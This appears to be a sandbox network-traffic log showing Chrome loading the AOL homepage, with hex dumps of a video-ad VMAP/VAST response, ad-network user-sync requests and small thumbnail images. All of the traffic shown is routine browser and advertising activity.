2024-05-23 22:35:01 UTC	1300	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 20 73 74 61 6e 64 61 6c 6f 6e 65 3d 22 6e 6f 22 3f 3e 0a 3c 76 6d 61 70 3a 56 4d 41 50 20 78 6d 6c 6e 73 3a 76 6d 61 70 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 69 61 62 2e 6e 65 74 2f 76 69 64 65 6f 73 75 69 74 65 2f 76 6d 61 70 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 0a 09 3c 76 6d 61 70 3a 41 64 42 72 65 61 6b 20 62 72 65 61 6b 49 64 3d 22 4d 62 4d 57 6d 77 68 6d 6e 54 6f 73 58 47 49 44 22 20 62 72 65 61 6b 54 79 70 65 3d 22 6c 69 6e 65 61 72 22 20 74 69 6d 65 4f 66 66 73 65 74 3d 22 73 74 61 72 74 22 3e 0a 09 09 3c 76 6d 61 70 3a 41 64 53 6f 75 72 63 65 3e 0a 09 09 09 3c 76 6d 61 70 3a 56 41 53 54 41 64 44 61 74 61 3e 0a 09 09 09 09 3c 56 Data Ascii: <?xml version="1.0" encoding="UTF-8" standalone="no"?><vmap:VMAP xmlns:vmap="http://www.iab.net/videosuite/vmap" version="1.0"><vmap:AdBreak breakId="MbMWmwhmnTosXGID" breakType="linear" timeOffset="start"><vmap:AdSource><vmap:VASTAdData><V
2024-05-23 22:35:01 UTC	293	IN	Data Raw: 65 66 61 75 6c 74 42 69 64 64 65 72 2d 31 5d 5d 3e 3c 2f 56 41 53 54 41 64 54 61 67 55 52 49 3e 0a 09 09 09 09 09 09 09 3c 49 6d 70 72 65 73 73 69 6f 6e 3e 3c 21 5b 43 44 41 54 41 5b 68 74 74 70 73 3a 2f 2f 62 61 74 73 2e 76 69 64 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 70 3f 65 76 74 3d 61 64 5f 64 6c 76 66 26 5f 45 3d 61 64 5f 64 6c 76 66 26 5f 56 3d 56 26 56 5f 73 65 63 3d 70 62 26 5f 77 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 61 6f 6c 2e 63 6f 6d 25 32 46 26 70 76 65 72 3d 31 2e 36 2e 32 39 26 61 76 65 72 3d 33 2e 36 34 32 2e 30 26 61 6e 3d 6e 75 6c 6c 26 6f 73 3d 6e 75 6c 6c 26 70 73 7a 3d 33 36 38 78 32 37 36 26 65 78 70 6e 3d 61 6f 6c 68 6f 6d 65 70 61 67 65 26 61 62 69 64 3d 6e 75 6c 6c 26 73 3d 31 31 39 37 38 30 33 33 36 31 26 6c Data Ascii: efaultBidder-1...</VASTAdTagURI><Impression><![CDATA[https://bats.video.yahoo.com/p?evt=ad_dlvf&_E=ad_dlvf&_V=V&V_sec=pb&_w=https%3A%2F%2Fwww.aol.com%2F&pver=1.6.29&aver=3.642.0&an=null&os=null&psz=368x276&expn=aolhomepage&abid=null&s=1197803361&l
2024-05-23 22:35:01 UTC	1300	IN	Data Raw: 66 69 64 3d 6e 75 6c 6c 26 69 6e 74 6c 3d 75 73 26 73 69 74 65 3d 61 6f 6c 68 6f 6d 65 70 61 67 65 26 62 63 6b 74 3d 54 72 65 61 74 6d 65 6e 74 5f 4f 61 74 68 5f 50 6c 61 79 65 72 26 70 61 6c 6e 3d 66 61 6c 73 65 26 67 69 76 6e 3d 66 61 6c 73 65 26 72 73 7a 3d 30 26 70 6c 73 3d 63 33 32 61 61 32 37 65 2d 37 37 39 36 2d 34 36 38 64 2d 38 64 66 34 2d 30 65 32 62 34 33 66 61 31 34 61 61 26 76 73 3d 62 32 62 65 31 75 7a 74 26 70 73 74 61 69 64 3d 34 32 62 38 39 37 61 36 2d 39 37 37 31 2d 33 33 32 39 2d 62 33 35 31 2d 36 39 61 37 30 31 61 37 37 34 33 38 26 61 72 3d 31 2e 33 33 26 63 6f 6e 74 3d 31 26 70 6c 74 79 70 65 3d 64 65 73 6b 74 6f 70 26 65 78 70 62 3d 61 6f 6c 2d 61 63 6f 6f 6b 69 65 2d 63 6f 6e 74 72 6f 6c 25 32 43 61 6f 6c 2d 61 61 2d 31 26 74 65 73 Data Ascii: fid=null&intl=us&site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&tes
2024-05-23 22:35:01 UTC	1300	IN	Data Raw: 26 73 69 74 65 3d 61 6f 6c 68 6f 6d 65 70 61 67 65 26 62 63 6b 74 3d 54 72 65 61 74 6d 65 6e 74 5f 4f 61 74 68 5f 50 6c 61 79 65 72 26 70 61 6c 6e 3d 66 61 6c 73 65 26 67 69 76 6e 3d 66 61 6c 73 65 26 72 73 7a 3d 30 26 70 6c 73 3d 63 33 32 61 61 32 37 65 2d 37 37 39 36 2d 34 36 38 64 2d 38 64 66 34 2d 30 65 32 62 34 33 66 61 31 34 61 61 26 76 73 3d 62 32 62 65 31 75 7a 74 26 70 73 74 61 69 64 3d 34 32 62 38 39 37 61 36 2d 39 37 37 31 2d 33 33 32 39 2d 62 33 35 31 2d 36 39 61 37 30 31 61 37 37 34 33 38 26 61 72 3d 31 2e 33 33 26 63 6f 6e 74 3d 31 26 70 6c 74 79 70 65 3d 64 65 73 6b 74 6f 70 26 65 78 70 62 3d 61 6f 6c 2d 61 63 6f 6f 6b 69 65 2d 63 6f 6e 74 72 6f 6c 25 32 43 61 6f 6c 2d 61 61 2d 31 26 74 65 73 74 3d 61 6f 6c 2d 61 63 6f 6f 6b 69 65 2d 63 6f Data Ascii: &site=aolhomepage&bckt=Treatment_Oath_Player&paln=false&givn=false&rsz=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-co
2024-05-23 22:35:01 UTC	1300	IN	Data Raw: 7a 3d 30 26 70 6c 73 3d 63 33 32 61 61 32 37 65 2d 37 37 39 36 2d 34 36 38 64 2d 38 64 66 34 2d 30 65 32 62 34 33 66 61 31 34 61 61 26 76 73 3d 62 32 62 65 31 75 7a 74 26 70 73 74 61 69 64 3d 34 32 62 38 39 37 61 36 2d 39 37 37 31 2d 33 33 32 39 2d 62 33 35 31 2d 36 39 61 37 30 31 61 37 37 34 33 38 26 61 72 3d 31 2e 33 33 26 63 6f 6e 74 3d 31 26 70 6c 74 79 70 65 3d 64 65 73 6b 74 6f 70 26 65 78 70 62 3d 61 6f 6c 2d 61 63 6f 6f 6b 69 65 2d 63 6f 6e 74 72 6f 6c 25 32 43 61 6f 6c 2d 61 61 2d 31 26 74 65 73 74 3d 61 6f 6c 2d 61 63 6f 6f 6b 69 65 2d 63 6f 6e 74 72 6f 6c 25 32 43 61 6f 6c 2d 61 61 2d 31 26 6d 6f 64 65 3d 45 56 50 26 70 74 3d 68 6f 6d 65 26 70 64 3d 6e 75 6c 6c 26 70 63 74 3d 61 6f 6c 26 72 5f 63 6f 64 65 3d 33 26 63 72 69 64 3d 6e 75 6c 6c 26 Data Ascii: z=0&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&vs=b2be1uzt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&
2024-05-23 22:35:01 UTC	1300	IN	Data Raw: 7a 74 26 70 73 74 61 69 64 3d 34 32 62 38 39 37 61 36 2d 39 37 37 31 2d 33 33 32 39 2d 62 33 35 31 2d 36 39 61 37 30 31 61 37 37 34 33 38 26 61 72 3d 31 2e 33 33 26 63 6f 6e 74 3d 31 26 70 6c 74 79 70 65 3d 64 65 73 6b 74 6f 70 26 65 78 70 62 3d 61 6f 6c 2d 61 63 6f 6f 6b 69 65 2d 63 6f 6e 74 72 6f 6c 25 32 43 61 6f 6c 2d 61 61 2d 31 26 74 65 73 74 3d 61 6f 6c 2d 61 63 6f 6f 6b 69 65 2d 63 6f 6e 74 72 6f 6c 25 32 43 61 6f 6c 2d 61 61 2d 31 26 6d 6f 64 65 3d 45 56 50 26 70 74 3d 68 6f 6d 65 26 70 64 3d 6e 75 6c 6c 26 70 63 74 3d 61 6f 6c 26 72 5f 63 6f 64 65 3d 33 26 63 72 69 64 3d 6e 75 6c 6c 26 76 5f 63 72 5f 69 64 3d 6e 75 6c 6c 26 61 64 69 64 3d 6e 75 6c 6c 26 70 6c 63 69 64 3d 25 32 46 32 32 38 38 38 31 35 32 32 37 39 25 32 46 75 73 25 32 46 61 6f 6c Data Ascii: zt&pstaid=42b897a6-9771-3329-b351-69a701a77438&ar=1.33&cont=1&pltype=desktop&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol
2024-05-23 22:35:01 UTC	1300	IN	Data Raw: 6f 70 26 65 78 70 62 3d 61 6f 6c 2d 61 63 6f 6f 6b 69 65 2d 63 6f 6e 74 72 6f 6c 25 32 43 61 6f 6c 2d 61 61 2d 31 26 74 65 73 74 3d 61 6f 6c 2d 61 63 6f 6f 6b 69 65 2d 63 6f 6e 74 72 6f 6c 25 32 43 61 6f 6c 2d 61 61 2d 31 26 6d 6f 64 65 3d 45 56 50 26 70 74 3d 68 6f 6d 65 26 70 64 3d 6e 75 6c 6c 26 70 63 74 3d 61 6f 6c 26 72 5f 63 6f 64 65 3d 31 26 63 72 69 64 3d 6e 75 6c 6c 26 76 5f 63 72 5f 69 64 3d 6e 75 6c 6c 26 61 64 69 64 3d 6e 75 6c 6c 26 70 6c 63 69 64 3d 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 76 69 64 65 6f 26 61 64 73 65 71 3d 31 26 66 5f 63 61 6c 6c 3d 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 26 66 5f 68 6f 70 3d 6e 75 6c 6c 26 6c 5f 68 6f 70 3d 6e 75 6c 6c 26 6e 5f 68 6f 70 3d 6e 75 6c 6c 26 73 6b 69 70 70 61 62 6c 65 3d 6e 75 6c 6c 26 74 61 6b Data Ascii: op&expb=aol-acookie-control%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=1&crid=null&v_cr_id=null&adid=null&plcid=us_aol_hp_dt_video&adseq=1&f_call=pbs.yahoo.com&f_hop=null&l_hop=null&n_hop=null&skippable=null&tak
2024-05-23 22:35:01 UTC	1300	IN	Data Raw: 6c 25 32 43 61 6f 6c 2d 61 61 2d 31 26 74 65 73 74 3d 61 6f 6c 2d 61 63 6f 6f 6b 69 65 2d 63 6f 6e 74 72 6f 6c 25 32 43 61 6f 6c 2d 61 61 2d 31 26 6d 6f 64 65 3d 45 56 50 26 70 74 3d 68 6f 6d 65 26 70 64 3d 6e 75 6c 6c 26 70 63 74 3d 61 6f 6c 26 72 5f 63 6f 64 65 3d 33 26 63 72 69 64 3d 6e 75 6c 6c 26 76 5f 63 72 5f 69 64 3d 6e 75 6c 6c 26 61 64 69 64 3d 6e 75 6c 6c 26 70 6c 63 69 64 3d 25 32 46 32 32 38 38 38 31 35 32 32 37 39 25 32 46 75 73 25 32 46 61 6f 6c 25 32 46 68 70 25 32 46 64 74 25 32 46 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 76 69 64 65 6f 26 61 64 73 65 71 3d 32 26 66 5f 63 61 6c 6c 3d 70 75 62 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 26 66 5f 68 6f 70 3d 6e 75 6c 6c 26 6c 5f 68 6f 70 3d 6e 75 6c 6c 26 6e 5f 68 6f 70 3d Data Ascii: l%2Caol-aa-1&test=aol-acookie-control%2Caol-aa-1&mode=EVP&pt=home&pd=null&pct=aol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=
2024-05-23 22:35:01 UTC	1300	IN	Data Raw: 6f 6c 26 72 5f 63 6f 64 65 3d 33 26 63 72 69 64 3d 6e 75 6c 6c 26 76 5f 63 72 5f 69 64 3d 6e 75 6c 6c 26 61 64 69 64 3d 6e 75 6c 6c 26 70 6c 63 69 64 3d 25 32 46 32 32 38 38 38 31 35 32 32 37 39 25 32 46 75 73 25 32 46 61 6f 6c 25 32 46 68 70 25 32 46 64 74 25 32 46 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 76 69 64 65 6f 26 61 64 73 65 71 3d 32 26 66 5f 63 61 6c 6c 3d 70 75 62 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 26 66 5f 68 6f 70 3d 6e 75 6c 6c 26 6c 5f 68 6f 70 3d 6e 75 6c 6c 26 6e 5f 68 6f 70 3d 6e 75 6c 6c 26 73 6b 69 70 70 61 62 6c 65 3d 6e 75 6c 6c 26 74 61 6b 65 6e 3d 31 26 6d 65 64 53 3d 32 26 6d 74 79 70 65 3d 6e 75 6c 6c 26 6e 74 77 6b 3d 47 41 4d 2b 2d 2b 44 65 73 6b 74 6f 70 2b 2d 2b 45 56 2b 50 6c 61 79 65 72 26 70 6f Data Ascii: ol&r_code=3&crid=null&v_cr_id=null&adid=null&plcid=%2F22888152279%2Fus%2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&po
2024-05-23 22:35:01 UTC	936	IN	Data Raw: 25 32 46 61 6f 6c 25 32 46 68 70 25 32 46 64 74 25 32 46 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 76 69 64 65 6f 26 61 64 73 65 71 3d 32 26 66 5f 63 61 6c 6c 3d 70 75 62 61 64 73 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 26 66 5f 68 6f 70 3d 6e 75 6c 6c 26 6c 5f 68 6f 70 3d 6e 75 6c 6c 26 6e 5f 68 6f 70 3d 6e 75 6c 6c 26 73 6b 69 70 70 61 62 6c 65 3d 6e 75 6c 6c 26 74 61 6b 65 6e 3d 31 26 6d 65 64 53 3d 32 26 6d 74 79 70 65 3d 6e 75 6c 6c 26 6e 74 77 6b 3d 47 41 4d 2b 2d 2b 44 65 73 6b 74 6f 70 2b 2d 2b 45 56 2b 50 6c 61 79 65 72 26 70 6f 73 3d 70 72 65 72 6f 6c 6c 26 72 75 6c 65 3d 61 64 30 61 37 34 31 63 2d 35 39 33 33 2d 34 33 62 34 2d 39 30 39 65 2d 62 66 36 61 37 39 61 33 38 63 62 39 26 69 62 6e 3d 55 53 2b 2d 2b 41 4f 4c 2b 2d 2b 48 6f 6d Data Ascii: %2Faol%2Fhp%2Fdt%2Fus_aol_hp_dt_video&adseq=2&f_call=pubads.g.doubleclick.net&f_hop=null&l_hop=null&n_hop=null&skippable=null&taken=1&medS=2&mtype=null&ntwk=GAM+-+Desktop+-+EV+Player&pos=preroll&rule=ad0a741c-5933-43b4-909e-bf6a79a38cb9&ibn=US+-+AOL+-+Hom

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.6	50114	52.17.55.191	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	659	OUT	GET /qmap?c=240&tp=PUBM&tpid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	457	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:01 GMT Content-Length: 0 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.45.3.89 Set-Cookie: _cc_cc=ctst;Path=/;Domain=crwdcntrl.net;SameSite=None;Secure Location: https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&gdpr=0&gdpr_consent=&ct=y Server: Jetty(9.4.38.v20210224)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.6	50133	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	789	OUT	GET /usersync?b=adf&i=8785666810998501200&gdpr=0&gdpr_consent= HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:01 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:01 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:01 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.6	50128	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	565	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-06%2F1504f900-095d-11ee-af59-036f8ef2680e&client=76f99bdb8f78cd44cc0b&signature=1ec7b18a657fd83305c83548d3b4199e6b95779d HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	1130	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 54157 Cache-Control: public, max-age=2592000 Cache-Tag: 455011173027560281408501159700854956092,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000154-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 93 Content-Type: image/png Date: Thu, 23 May 2024 22:35:01 GMT Edge-Cache-Tag: 455011173027560281408501159700854956092,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "f80320b7587d5726fc9c575ce8380237" Expiration: expiry-date="Fri, 26 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 27 Jan 2024 16:58:27 GMT Server: ECAcc (lhd/35D9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=304,owidth=400,oheight=400,obytes=12220,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21923-LGA X-Timer: S1711265545.622296,VS0,VE2 Content-Length: 304 Connection: close
2024-05-23 22:35:01 UTC	304	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 54 50 4c 54 45 47 70 4c cc 00 00 cc 00 00 f3 c1 c1 cc 00 00 cc 00 00 cc 00 00 cc 00 00 cc 00 00 cc 00 00 f1 ba ba e0 62 62 f2 bd bd f4 c8 c8 f1 b4 b4 d8 38 38 e2 69 69 ec 9f 9f f5 ce ce d5 2b 2b d1 18 18 db 4b 4b e8 89 89 e4 77 77 fe f9 f9 dd 56 56 fb e9 e9 e5 7f 7f 6b 48 0f c6 00 00 00 0a 74 52 4e 53 00 c2 ff ff da fa fe 99 09 31 f4 aa 51 5d 00 00 00 81 49 44 41 54 18 d3 65 8f 59 0e 84 20 0c 40 b1 05 2a a5 6c 8a ce 76 ff 7b 4e d5 64 62 86 f7 d7 d7 dd 18 25 90 75 ce 52 30 17 33 79 38 f1 34 9f f1 04 3f a6 c3 10 dc 20 ed f7 77 e1 83 16 14 e6 28 19 1e a9 6c 39 92 b1 3d b1 7c 90 2b 37 7e 61 b4 c6 55 a9 b0 e2 5b 16 64 c4 e8 54 60 54 81 f2 94 bc 1c c2 76 Data Ascii: PNGIHDR(-STPLTEGpLbb88ii++KKwwVVkHtRNS1Q]IDATeY @*lv{Ndb%uR03y84? w(l9=\|+7~aU[dT`Tv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.6	50127	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	565	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-12%2Fe9cc2d60-6982-11ec-b3df-9bd0426ec2ec&client=76f99bdb8f78cd44cc0b&signature=f5d1374db0e429e85fd1964b6c7fb344aaa01682 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53656 Cache-Control: public, max-age=2592000 Cache-Tag: 512400178228102016103639949156204052110,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100112-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 166 Content-Type: image/png Date: Thu, 23 May 2024 22:35:01 GMT Edge-Cache-Tag: 512400178228102016103639949156204052110,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "41b69908079eaf211484da57d9e9b6f3" Expiration: expiry-date="Sat, 27 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sun, 28 Jan 2024 16:17:29 GMT Server: ECAcc (lhd/35C2) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=401,owidth=400,oheight=400,obytes=108679,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000067-IAD X-Timer: S1711266043.485278,VS0,VE3 Content-Length: 401 Connection: close
2024-05-23 22:35:01 UTC	401	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 87 50 4c 54 45 47 70 4c ff ff ff e4 e4 e4 fa fa fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fc fc b8 ba ba cd ce cf ca cb cb a3 a4 a4 a1 a2 a2 e0 e1 e0 e5 e5 e5 71 73 74 8e 90 90 9b 9d 9d bd bf be 20 33 3e dd de dd c2 c4 c5 e8 e8 e8 ac ae ae 88 8c 8f 2c 42 53 d3 d3 d3 62 63 63 b1 b3 b3 84 85 85 89 97 a4 1b 27 2f d7 d7 d7 10 11 12 7a 7c 7c 32 33 34 f7 f7 f7 6f 71 70 3d 5a 76 4c 4c 4e 43 45 44 f1 ea 50 80 00 00 00 0a 74 52 4e 53 00 c3 9c 9c db 32 9c fb 0a 99 3c 8e 9c 5e 00 00 00 af 49 44 41 54 18 d3 5d 8f 37 76 c3 30 00 c5 be 12 52 12 41 aa 77 ab b8 c5 25 e5 fe e7 cb 20 bf 0c c1 88 09 90 24 59 67 92 c4 38 ab 9d 34 c6 7f cc 4b Data Ascii: PNGIHDR(-SPLTEGpLqst 3>,BSbcc'/z\|\|234oqp=ZvLLNCEDPtRNS2<^IDAT]7v0RAw% $Yg84K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.6	50130	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:01 UTC	565	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-12%2F575bc790-355f-11eb-ad7b-2304a1f8730f&client=76f99bdb8f78cd44cc0b&signature=9b569f872b6a38596add6accc7576c1eae74c4ee HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:01 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2560436 Cache-Control: public, max-age=2592000 Cache-Tag: 437559623224935281181735502381789763861,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-chi-kigq8000062-CHI cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 85 Content-Type: image/png Date: Thu, 23 May 2024 22:35:01 GMT Edge-Cache-Tag: 437559623224935281181735502381789763861,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "4e60d49658a9f45adeb0f4a371574f52" Expiration: expiry-date="Sun, 21 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 22 Jan 2024 13:39:49 GMT Server: ECAcc (lhd/35CC) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=354,owidth=400,oheight=400,obytes=38740,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21953-LGA X-Timer: S1711351266.554213,VS0,VE66 Content-Length: 354 Connection: close
2024-05-23 22:35:01 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 69 50 4c 54 45 47 70 4c ff ff ff ff 48 51 ff 00 16 ff ff ff ff ff ff ff 09 1c ff ff ff ff ff ff ff ff ff ff 00 16 ff 00 16 ff ff ff 00 00 00 ff 0a 1d d6 d6 d6 16 16 16 4f 4f 4f 85 85 85 1e 1e 1e ba ba ba 3a 3a 3a a8 a8 a8 77 77 77 65 65 65 90 90 90 9c 9c 9c c6 c6 c6 6b 6b 6b fa fa fa ee ee ee 31 31 31 58 58 58 2e 2e 2e 0c 0c 0c ff 13 d3 39 00 00 00 0c 74 52 4e 53 00 c1 09 31 f9 d9 99 99 09 31 d9 f9 ae d3 ab 93 00 00 00 9c 49 44 41 54 18 19 55 c1 89 92 c2 20 14 04 c0 89 42 1e e8 cc 02 b9 13 ef fd ff 8f 5c 2c 2d cb ed c6 53 34 ef 9c b7 88 97 60 7c b3 80 2a 34 fc 68 02 00 e3 90 73 62 ca 39 df 56 03 22 b9 48 1d 93 fa 7b d6 16 61 bc e4 5e 0f 26 15 0e ba Data Ascii: 